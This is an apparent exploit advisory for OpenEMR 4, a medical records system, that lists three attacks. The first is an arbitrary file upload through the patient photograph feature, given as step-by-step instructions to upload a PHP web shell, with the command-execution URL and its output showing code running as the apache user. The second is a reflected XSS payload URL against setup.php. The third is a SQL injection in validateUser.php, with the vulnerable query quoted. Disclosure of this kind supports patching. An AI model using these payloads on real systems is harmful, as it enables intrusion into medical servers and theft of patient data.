OpenEMR 4 Cross Site Scripting / SQL Injection

`OpenEMR 4 (Level @ Smash The Stack)  
Summary: Patient Photograph Arbitrary File Upload  
  
Initial Comment:  
1. Login with valid User/Pass  
2. Patient/Client -> Search/New Patient (search for anything)  
3. Click Documents -> Patient Photograph  
4. Upload Shell  
  
URL: http://www.example.com/openemr/sites/SITENAME/documents/PATIENTID/shell.php.jpg?cmd=id  
EX: http://www.example.com/oe/sites/default/documents/1/shell.php.jpg?cmd=id  
Output: uid=48(apache) gid=48(apache) groups=48(apache)  
  
first installed SITENAME = default  
first installed PATIENTID = 1  
  
  
OpenEMR 4 (Level @ Smash The Stack)  
XSS  
  
http://www.target.com/oe/setup.php?site=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E  
  
  
OpenEMR 4 (Level @ Smash The Stack)  
  
Summary: validateUser.php SQL Injection  
  
Initial Comment:  
http://www.target.com/oe/interface/login/validateUser.php?u=test'  
  
validateUser.php:  
$user = $_GET['u'];  
$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");  
  
`